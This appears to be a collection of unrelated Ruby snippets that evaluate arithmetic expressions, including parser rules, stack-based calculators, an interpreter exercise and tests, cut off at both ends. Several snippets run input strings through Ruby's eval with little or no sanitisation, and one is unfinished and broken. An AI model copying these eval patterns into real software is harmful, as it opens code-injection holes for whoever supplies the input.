exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 + num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\+\\d*/, res)\n\t\twhen '-'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 - num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\-\\d*/, res)\n\t\tend\n\tend\n\texp\nend", "def expr\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n value = nil\n e = nil\n\n begin\n # at line 35:5: e= expr1 ( '+' e= expr1 | '-' e= expr1 )*\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_262 )\n e = expr1\n @state.following.pop\n # --> action\n value = e \n # <-- action\n # at line 36:5: ( '+' e= expr1 | '-' e= expr1 )*\n while true # decision 3\n alt_3 = 3\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == T__14 )\n alt_3 = 1\n elsif ( look_3_0 == T__15 )\n alt_3 = 2\n\n end\n case alt_3\n when 1\n # at line 36:7: '+' e= expr1\n match( T__14, TOKENS_FOLLOWING_T__14_IN_expr_272 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_276 )\n e = expr1\n @state.following.pop\n # --> action\n value += e \n # <-- action\n\n when 2\n # at line 37:7: '-' e= expr1\n match( T__15, TOKENS_FOLLOWING_T__15_IN_expr_286 )\n @state.following.push( TOKENS_FOLLOWING_expr1_IN_expr_290 )\n e = expr1\n @state.following.pop\n # --> action\n value -= e \n # <-- action\n\n else\n break # out of loop for decision 3\n end\n end # loop for decision 3\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 3 )\n\n end\n \n return value\n end", "def evaluate(ex)\n @stack=[]\n @expr.each do |el|\n case el\n when HopExprVar\n # evaluate variable\n var,dot,field=el.value.partition('.')\n if field==''\n # scalar\n val=VarStor.getScalar(ex,el.value)\n else\n # cortege field\n begin\n val=VarStor.getCortege(ex,var)[field]\n rescue\n warn \">> Opppps: #{var}.#{field}\"\n nil\n end\n end\n @stack.push val\n\n when Numeric, String\n # constant\n @stack.push el\n\n when HopExprOp\n case el.value\n when '+'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>PLUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f+a2.to_f\n when '*'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f*a2.to_f\n when '-'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>MINUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f-a1.to_f\n when '/'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f/a1.to_f\n when '%'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f%a1.to_f\n else\n raise SyntaxErrHopError\n end\n end #~case\n end # ~each expression\n raise SyntaxErrHopError.new(@expr.to_s+' ('+@stack.to_s+')') if @stack.size>1\n\n return @stack.pop\n end", "def expression\r\n # -> uncomment the next line to manually enable rule tracing\r\n # trace_in( __method__, 1 )\r\n result = nil\r\n a = nil\r\n b = nil\r\n\r\n begin\r\n # at line 9:4: a= NUMBER '+' b= NUMBER\r\n a = match( NUMBER, TOKENS_FOLLOWING_NUMBER_IN_expression_28 )\r\n match( T__6, TOKENS_FOLLOWING_T__6_IN_expression_30 )\r\n b = match( NUMBER, TOKENS_FOLLOWING_NUMBER_IN_expression_34 )\r\n # --> action\r\n result = a.text.to_i + b.text.to_i \r\n # <-- action\r\n\r\n rescue ANTLR3::Error::RecognitionError => re\r\n report_error(re)\r\n recover(re)\r\n\r\n ensure\r\n # -> uncomment the next line to manually enable rule tracing\r\n # trace_out( __method__, 1 )\r\n\r\n end\r\n \r\n return result\r\n end", "def evaluate(expr)\n @api.function_for_object_method(self, :eval).call(@session, expr)\n end", "def calculate_expressions(expr)\n res = 0\n if expr.count(\"a-zA-Z\") > 0\n res = \"Incorrect expression or Number\"\n else\n while(has_operators?(expr))\n @logger.info \"Expression=#{expr}\"\n part_expr = \"\"\n operator = next_operator(expr)\n @logger.info \"Operator=#{operator}\"\n idx = expr.index(operator)\n val1 = find_prv_operand(expr, idx)\n val2 = find_next_operand(expr, idx)\n res = perform_calc(operator, val1, val2)\n part_expr = \"#{val1}#{operator}#{val2}\"\n @logger.info \"#{part_expr}=#{res}\"\n expr.gsub!(part_expr, res.to_s)\n end\n res = res.round(2)\n end\n res\n end", "def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n (SYMBOL_TABLE[token].arity - 1).times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(stack, token, *args))\n else\n stack.push(token)\n end\n end\n\n stack.pop\n end", "def eval\n @token = @lexer.next\n expression(0)\n end", "def evaluate(ops)\n \t\tops = tokens(ops)\n \t\tmethods = {:+ => Proc.new{plus()}, :- => Proc.new{minus()}, :* => Proc.new{times()}, :/ => Proc.new{divide()}}\n \t\tops.each do |op|\n \t\t\tif methods.has_key?(op)\n \t\t\t\tmethods[op].call\n \t\t\telse\n \t\t\t\tpush(op)\n \t\t\tend\n \t\tend\n \t\tvalue()\n end", "def test_e1310_infix_to_postfix\n verify_method :e1310_infix_to_postfix,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { |expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def expr()\n\n\n begin\n @ruleStack.push('expr')\n # dice.g:52:7: ( mult ( '+' mult | '-' mult )* )\n # dice.g:52:7: mult ( '+' mult | '-' mult )*\n\n #@following.push(FOLLOW_mult_in_expr65)\n mult()\n #@following.pop\n\n\n # dice.g:52:12: ( '+' mult | '-' mult )*\n #catch (:loop1) do\n \twhile true\n \t\talt1 = 3\n \t\tlook_ahead1_0 = input.look_ahead(1).token_type\n \t\tif look_ahead1_0 == 6 \n \t\t alt1 = 1\n \t\telsif look_ahead1_0 == 7 \n \t\t alt1 = 2\n\n \t\tend\n\n \t\tcase alt1\n \t\t\twhen 1\n \t\t\t # dice.g:53:5: '+' mult\n\n \t\t\t match(6, nil) # FOLLOW_6_in_expr73\n\n\n \t\t\t #@following.push(FOLLOW_mult_in_expr75)\n \t\t\t mult()\n \t\t\t #@following.pop\n\n\n\n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nAdd: #{b} + #{a}\"\n \t\t\t @stack.push(b + a)\n \t\t\t \n\n\n\n \t\t\twhen 2\n \t\t\t # dice.g:58:5: '-' mult\n\n \t\t\t match(7, nil) # FOLLOW_7_in_expr83\n\n\n \t\t\t #@following.push(FOLLOW_mult_in_expr85)\n \t\t\t mult()\n \t\t\t #@following.pop\n\n\n\n \t\t\t a, b = @stack.pop, @stack.pop\n \t\t\t dbg \"\\nSubtract: #{b} - #{a}\"\n \t\t\t @stack.push(b - a)\n \t\t\t \n\n\n\n\n \t\t\telse\n \t\t\t\tbreak\n \t\t\t\t#throw :loop1\n \t\tend\n \tend\n #end\n\n\n\n\n rescue ANTLR::RecognitionException => e\n report_error(e)\n #raise e\n ensure\n @ruleStack.pop\n end\n\n end", "def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n SYMBOL_TABLE[token].arity.times do\n args.unshift(stack.pop)\n end\n\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token?\"\n end\n end\n\n stack.pop\n end", "def evaluate(exp, env)\n # exp: A current node of AST\n # env: An environment (explained later)\n\n case exp[0]\n\n#\n## Problem 1: Arithmetics\n#\n\n when \"lit\"\n exp[1] # return the immediate value as is\n when \"*\"\n evaluate(exp[1], env) * evaluate(exp[2], env)\n when \"/\"\n evaluate(exp[1], env) / evaluate(exp[2], env)\n when \"%\"\n evaluate(exp[1], env) % evaluate(exp[2], env)\n when \"+\"\n evaluate(exp[1], env) + evaluate(exp[2], env)\n when \"-\"\n evaluate(exp[1], env) - evaluate(exp[2], env)\n# ... Implement other operators that you need\n when \"<\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs < rhs\n when \">\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs > rhs\n when \"<=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs <= rhs\n when \"==\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs == rhs\n when \">=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs >= rhs\n when \"==\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs == rhs\n when \"!=\"\n lhs, rhs = exp[1..-1].map { |v| evaluate(v, env) }\n lhs != rhs\n\n\n#\n## Problem 2: Statements and variables\n#\n\n when \"stmts\"\n # Statements: sequential evaluation of one or more expressions.\n #\n # Advice 1: Insert `pp(exp)` and observe the AST first.\n # Advice 2: Apply `evaluate` to each child of this node.\n statements = exp[1..-1]\n statements.each do |v|\n evaluate(v, env)\n end\n\n# The second argument of this method, `env`, is an \"environement\" that\n# keeps track of the values stored to variables.\n# It is a Hash object whose key is a variable name and whose value is a\n# value stored to the corresponded variable.\n\n when \"var_ref\"\n var_name = exp.last\n env[var_name]\n\n when \"var_assign\"\n name, inner_exp = exp[1..-1]\n env[name] = evaluate(inner_exp, env)\n\n\n#\n## Problem 3: Branchs and loops\n#\n\n when \"if\"\n condition = evaluate(exp[1], env)\n if condition\n evaluate(exp[2], env)\n else\n evaluate(exp[3], env)\n end\n\n\n when \"while\"\n condition = evaluate(exp[1], env)\n while condition\n evaluate(exp[2], env)\n condition = evaluate(exp[1], env)\n end\n\n# Loop.\n\n\n#\n## Problem 4: Function calls\n#\n\n when \"func_call\"\n # Lookup the function definition by the given function name.\n func = $function_definitions[exp[1]]\n\n if func.nil?\n # We couldn't find a user-defined function definition;\n # it should be a builtin function.\n # Dispatch upon the given function name, and do paticular tasks.\n case exp[1]\n when \"p\"\n # MinRuby's `p` method is implemented by Ruby's `p` method.\n p(evaluate(exp[2], env))\n when \"Integer\"\n evaluate(exp[2], env).to_i\n when \"fizzbuzz\"\n n = evaluate(exp[2], env).to_i\n if n % 15 == 0\n 'FizzBuzz'\n elsif n % 3 == 0\n 'Fizz'\n elsif n % 5 == 0\n 'Buzz'\n else\n n.to_s\n end\n else\n raise(\"unknown builtin function\")\n end\n else\n arg_names = func.arg_names\n execution = func.execution\n arguments = exp[2..-1].map { |ast| evaluate(ast, env) }\n env = arg_names.zip(arguments).to_h\n evaluate(execution, env)\n\n #\n ## Problem 5: Function definition\n #\n\n # (You may want to implement \"func_def\" first.)\n #\n # Here, we could find a user-defined function definition.\n # The variable `func` should be a value that was stored at \"func_def\":\n # parameter list and AST of function body.\n #\n # Function calls evaluates the AST of function body within a new scope.\n # You know, you cannot access a varible out of function.\n # Therefore, you need to create a new environment, and evaluate the\n # function body under the environment.\n #\n # Note, you can access formal parameters (*1) in function body.\n # So, the new environment must be initialized with each parameter.\n #\n # (*1) formal parameter: a variable as found in the function definition.\n # For example, `a`, `b`, and `c` are the formal parameters of\n # `def foo(a, b, c)`.\n end\n\n when \"func_def\"\n # Function definition.\n #\n # Add a new function definition to function definition list.\n # The AST of \"func_def\" contains function name, parameter list, and the\n # child AST of function body.\n # All you need is store them into $function_definitions.\n #\n # Advice: $function_definitions[???] = ???\n func_name = exp[1]\n arg_names = exp[2...-1].flatten\n execution_ast = exp.last\n $function_definitions[func_name] = Function.new(arg_names, execution_ast)\n\n\n#\n## Problem 6: Arrays and Hashes\n#\n\n# You don't need advices anymore, do you?\n when \"ary_new\"\n exp[1..-1].map { |ast| evaluate(ast, env) }\n\n when \"ary_ref\"\n array, index = exp[1..2].map { |ast| evaluate(ast, env) }\n array[index]\n\n when \"ary_assign\"\n array, index, value = exp[1..3].map { |ast| evaluate(ast, env) }\n array[index] = value\n\n when \"hash_new\"\n exp[1..-1].map { |ast| evaluate(ast, env) }.each_slice(2).to_h\n\n else\n p(\"error\")\n pp(exp)\n raise(\"unknown node\")\n end\nend", "def evaluate\n case @op\n when 'println'\n v = @args[0]\n v = v.evaluate if v.is_a?(AST)\n puts v\n when '+'\n sum = 0\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n sum += x\n end\n return sum\n when '-'\n diff = @args[0]\n diff = diff.evaluate if diff.is_a?(AST)\n args_tail = @args.slice(1, args.length-1)\n args_tail.each do |x|\n x = x.evaluate if x.is_a?(AST)\n diff -= x\n end\n return diff\n when '*'\n prod = 1\n @args.each do |x|\n x = x.evaluate if x.is_a?(AST)\n prod *= x\n end\n return prod\n else\n raise \"Unrecognized op '#{@op}'\"\n end\n end", "def eval_expression\n eval(expression, binding)\n end", "def expression\n n = term\n while next_token == '+' || next_token == '-'\n op = consume\n m = term\n n = case op\n when '+'\n n + m\n when '-'\n n - m\n else\n nil\n end\n end\n n\n end", "def test_infix_to_postfix_e1310\n verify_method :infix_to_postfix_e1310,\n :with =>\n [\n {\n param: '1+2',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2) }\n },\n {\n param: '1+2+3',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3) }\n },\n {\n param: '1+2+3+4',\n predicate: Proc.new { |expr| check_expression_result(expr, 1+2+3+4) }\n },\n {\n param: '3-4+5',\n predicate: Proc.new { |expr| check_expression_result(expr, 3-4+5) }\n },\n {\n param: '(3-4)*5',\n predicate: Proc.new { |expr| check_expression_result(expr, (3 - 4)*5) }\n },\n {\n param: '(1+2)*3',\n predicate: Proc.new { |expr| check_expression_result(expr, (1+2)*3) }\n },\n {\n param: '(2+((3+4)*(5*6)))',\n predicate: Proc.new { |expr| check_expression_result(expr, (2+((3+4)*(5*6)))) }\n }\n ]\n end", "def expr(str)\n return unless str\n eval(str, Math.bind) || 0\n rescue SyntaxError, NameError\n cfg_err(\"#{str} is not number\")\n end", "def math_eval(str)\n # iterate over string values\n # perhaps utilize a queue till you hit a symbol?\n # left operand and right operand (do we care about order of operations?)\n copy = str\n total = 0\n tokens = []\n\n copy.chars.each_with_index do |ch, idx|\n if ch == '*' || ch == '/' || ch == '+' || ch == '-'\n divided = str.split(ch)\n tokens << divided.shift.to_i\n tokens << ch\n copy = divided\n end\n if idx == copy.length - 1\n tokens << copy\n end\n # break if ch.match(/()+\\-*/) && operator != ''\n # operator = ch.match(/()+\\-*/)\n # left_operand = ch if ch.match(/0-9/) && operator == ''\n # right_operand += ch if ch.match(/0-9/) && operator != ''\n end\n return tokens\n\n p \"operator: #{operator}, left_operand: #{left_operand}, right_operand: #{right_operand}\"\n return left_operand.to_i if operator == ''\n return left_operand.to_i + right_operand.to_i if operator == '+'\n return left_operand.to_i - right_operand.to_i if operator == '-'\n return left_operand.to_i / right_operand.to_i if operator == '/'\n return left_operand.to_i * right_operand.to_i if operator == '*'\nend", "def infix_to_postfix(expr, prec)\n output = []\n operators = []\n\n expr.each { |token|\n case token\n when Integer\n output << token\n when :+, :*\n while !operators.empty? && operators[-1] != :\"(\" && prec[operators[-1]] >= prec[token]\n output.push(operators.pop)\n end\n operators.push(token)\n when :\"(\"\n operators.push(token)\n when :\")\"\n while operators[-1] != :\"(\"\n output.push(operators.pop)\n if operators.size == 0\n raise \"No matching parenthesis found.\"\n end\n end\n operators.pop\n end\n }\n\n while !operators.empty?\n if operators[-1] == :\"(\" || operators[-1] == :\")\"\n raise \"Unmatched parenthesis found.\"\n end\n output.push(operators.pop)\n end\n output\nend", "def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend", "def calc(expr)\n expr.split.each_with_object([]) { |e, a|\n if e.match(/\\d+/)\n a << e.to_f\n else\n y, x = a.pop, a.pop\n a << x.send(e, y)\n end\n }.last || 0\nend", "def evaluate(expr)\n TupleExpression.coerce(expr).evaluate(self)\n end", "def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n SYMBOL_TABLE[token].arity.times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end", "def calc(expr, verbose=false)\n # hash of str: func for operations\n ops_hash = {'+': method(:add), '-': method(:subt),\n '*': method(:mult), '/': method(:div),\n '**': method(:pow), '^': method(:pow)}\n\n # parse expr\n expr.strip!\n expr_arr = expr.split\n\n # check expression validity\n unless check_expr(expr_arr, false)\n return nil\n end\n\n j = 0 # used to track index while handling parens\n\n # find matching parens, then replace parens and contents with result of contents\n while j < (expr_arr.length - 1) do\n # check parens and get nest info. needs to be done inside this loop\n # if not, info fails to match as expression changes\n nest = check_parens(expr_arr)\n unless nest\n return nil\n end\n\n match_j = nil # Initialize match_j so later code can find it\n # find open paren\n if PAIRS.key?(expr_arr[j])\n # find matching close paren\n nest.each do |info_arr|\n if info_arr[2] == j\n match_j = info_arr[3]\n end\n end\n\n # join contents and send to calc\n temp_expr = expr_arr[j+1...match_j].join(' ')\n temp_result = calc(temp_expr, verbose)\n\n # return if internal expression was invalid\n unless temp_result\n return nil\n end\n\n # replace parens and contents with temp result\n expr_arr[j..match_j] = temp_result\n j = 0 # indices got moved and removed, so start from beginning\n else\n j += 1\n end\n end\n\n # If, after dealing with parens, there is only one element, return it\n if expr_arr.length == 1\n return expr_arr[0].to_f\n end\n\n result = 0 # initialize result variable so the return statement can find it\n\n # search for operations in order\n OPS.each do |op_set|\n i = 0\n\n # search expression for current operations\n # if found: calculate, replace, and search from begining of expression\n # else: move to next element in expression\n while i < (expr_arr.length - 1) do\n if op_set.include?(expr_arr[i])\n # find and assign operation and values\n op = expr_arr[i]\n x = expr_arr[i-1]\n y = expr_arr[i+1]\n\n # call appropriate op function\n result = ops_hash[op.to_sym].(x.to_f, y.to_f)\n\n # replace the 3 used elements with the result\n expr_arr[i-1..i+1] = result\n i = 0 # indices got moved and removed, so start from beginning\n\n # print verbose output\n if verbose and not expr_arr.length == 1\n puts expr_arr.join(\" \")\n end\n else\n i += 1\n end\n end\n end\n return result\nend", "def calc(expr)\n return 0 if expr.empty?\n expr.split(' ').inject([]) { |a, i|\n a << (i =~ /\\d+/ ? i.to_i : a.pop(2)[0].send(i, a.pop(2)[1]))\n }.pop\nend", "def eval_expression(expression)\n if expression.count(\"a-zA-Z\") > 0\n result = \"Incorrect expression or Number\"\n else\n expression = expression.gsub('/', '*1.0/') if expression.include?(\"/\")\n result = eval(expression).round(2)\n end\n result\n end", "def evaluate(context)\n Parser.new(@expr).parse.evaluate(context)\n end", "def evalExpression(expr)\n\texprs = expr.get_expr\n\tif expr.class == EXPR_VALUE\n\t\tsymbol = exprs.get_symbol\n\t\tidentif = exprs.get_value\n\t\tif symbol == :IDENTIFIER\n\t\t\tsymbol = $tables.lookup(identif)\n\t\t\tif symbol[1] != nil\n\t\t\t\treturn symbol\n\t\t\telse\n\t\t\t\tputs \"ERROR: variable `#{identif}` no inicializada\"\n\t\t\t\t$error = true\n\t\t\t\treturn [:UNKNOW,nil]\n\t\t\tend\n\t\tend\n\t\treturn [symbol,identif] \n\n\t# Caso que sea una expresion binaria\n\telsif expr.class == EXPR_BIN\n\t\tarit = expr.get_arit\n\t\tsymbol1 = evalExpression(exprs[0])\n\t\tsymbol2 = evalExpression(exprs[1])\n\t\t# Chequea todos los tipos de expresiones binarias aritmeticas\n\t\t# Para cada caso, asegura que sean correctas\n\t\tif !$error\n\t\t\tcase arit\n\t\t\twhen :PLUS , :MINUS, :DIVISION, :MULTIPLY, :PERCENT\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\tif !$error\t\n\t\t\t\t\tif expr_eval > 2147483647 || expr_eval < -2147483647\n\t\t\t\t\t\tputs \"ERROR: overflow numero de 32 bits excedido\"\n\t\t\t\t\t\t$error = true\n\t\t\t\t\t\treturn [:UNKNOW,nil]\n\t\t\t\t\telse\n\t\t\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen :AND, :OR\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :AMPERSAND, :VIRGUILE \n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\tif expr_eval == nil\n\t\t\t\t\tif arit == :AMPERSAND \n\t\t\t\t\t\tputs \"ERROR: concatenacion vertical incorrecta tamano incompatible\"\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"ERROR: concatenacion horizontal incorrecta tamano incompatible\"\n\t\t\t\t\tend\n\t\t\t\t\t$error = true\n\t\t\t\t\treturn [:UNKNOW,nil]\n\t\t\t\tend\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :LESS, :LESS_EQUAL, :MORE, :MORE_EQUAL\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [:BOOLEAN,expr_eval]\n\t\t\twhen :EQUAL, :INEQUAL\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1],symbol2[1])\n\t\t\t\treturn [:BOOLEAN,expr_eval]\n\t\t\tend\n\t\tend\n\t\t# Caso que sea una expresion unaria\n\telsif expr.class == EXPR_UNARIA\n\t\tarit = expr.get_arit\n\t\tsymbol1 = evalExpression(exprs)\n\t\t# evalua las expresiones unarias aritmeticas\n\t\t# Para cada caso, chequea que sean correctas\n\t\tif !$error \n\t\t\tcase arit\n\t\t\twhen :MINUS_UNARY\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :DOLLAR, :APOSTROPHE \n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\twhen :NOT\n\t\t\t\texpr_eval = expr.get_eval(arit,symbol1[1])\n\t\t\t\treturn [symbol1[0],expr_eval]\n\t\t\tend\n\t\tend\n\t# En caso de conseguir expresiones parentizadas, evalua la expresion\n\telsif expr.class == EXPR_PARENTHESIS\n\t\treturn evalExpression(exprs)\n\tend\nend", "def evaluate_pn(list)\n\n while item = list.pop\n\n case item.name\n when \"numeric\" then @stack.push(item.to_f)\n when \"variable\" then @stack.push(item.value)\n when \"constant\" then @stack.push(constant(item.value))\n when \"value\" then do_value(item.value)\n when \"operator\" then operation(item.value)\n when \"funcname\" then EvalFunction.eval(item.value, @stack)\n end\n end\n\n result = @stack.pop\n if result.respond_to?(:hidden?)\n result\n else\n ElectrValue.number(ensure_number(result))\n end\n\n rescue UnboundVariableError => e\n @stack.clear\n ElectrValue.error(\"Error: unbound variable #{e.message}\")\n\n rescue NilEvaluationError\n @stack.clear\n ElectrValue.error(\"Error: nil evaluation\")\n\n end", "def evaluate(expression)\n @simpleParser.parse expression\n end", "def calculate(input)\n\tUTIL::Log.debug(\"processing: #{input}\")\n expr = @scanner.tokenize(input)\n\tUTIL::Log.debug(\"tokenized expression: #{expr}\")\n postfix_expr = @translate.to_postfix(expr)\n\tUTIL::Log.debug(\"postfix expression: #{postfix_expr}\")\n result = @calc.eval(postfix_expr)\n UTIL::Log.debug(\"result: #{result}\")\n\tresult\n end", "def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif token == \"+\"\n # handle addition\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs + rhs)\n elsif token == \"*\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs * rhs)\n elsif token == \"-\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs - rhs)\n elsif token == \"/\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs / rhs)\n elsif token == \"^\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs ** rhs)\n elsif token == \"%\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs % rhs)\n elsif token == \"max\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].max)\n elsif token == \"min\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].min)\n elsif token == \"rand\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(rand(lhs..rhs))\n elsif token == \"sample\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].sample)\n elsif token == \"!\"\n num = stack.pop\n stack.push(factorial(num))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end", "def DEC\n operand = unwrap_integer evaluation_stack.pop\n evaluation_stack.push operand - 1\n end", "def _expression\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_assignment)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_value)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_expression unless _tmp\n return _tmp\n end", "def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n __COMPARITIONOPERATORS10__ = nil\n\n begin\n # at line 705:5: exp ( COMPARITIONOPERATORS exp )?\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1070 )\n exp\n @state.following.pop\n # at line 705:9: ( COMPARITIONOPERATORS exp )?\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0 == COMPARITIONOPERATORS )\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 705:10: COMPARITIONOPERATORS exp\n __COMPARITIONOPERATORS10__ = match( COMPARITIONOPERATORS, TOKENS_FOLLOWING_COMPARITIONOPERATORS_IN_expression_1073 )\n # --> action\n #Regla 8\n \t @stack_operators.push(__COMPARITIONOPERATORS10__.text)\n \t \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_exp_IN_expression_1087 )\n exp\n @state.following.pop\n # --> action\n #Regla 9\n \t\t operator = @stack_operators.pop\n \t\t operand_b = @stack_operands.pop\n \t\t operand_a = @stack_operands.pop\n \t\t result = get_avail\n \t\t generate(operator, operand_a, operand_b, result)\n \t\t free_avail(operand_a)\n \t\t free_avail(operand_b)\n \t\t free_avail_const(operand_a)\n \t\t free_avail_const(operand_b)\n \t\t @stack_operands.push(result)\n \t\t @stack_types.push(resulting_type(@stack_types.pop, @stack_types.pop, operator))\n \t \n # <-- action\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end\n \n return \n end", "def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end", "def stack_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n op_stack = LinkedStack.new\n value_stack = LinkedStack.new\n string.chars do | ch |\n case\n when ch =~ /\\d/ || ch == ')'\n if ch == ')'\n raise \"Missing left parenthesis\" if op_stack.empty? || op_stack.top != '('\n op_stack.pop\n else\n value_stack.push(ch.to_i)\n end\n while !op_stack.empty? && op_stack.top =~ OPERATORS\n op = op_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n right_arg = value_stack.pop\n 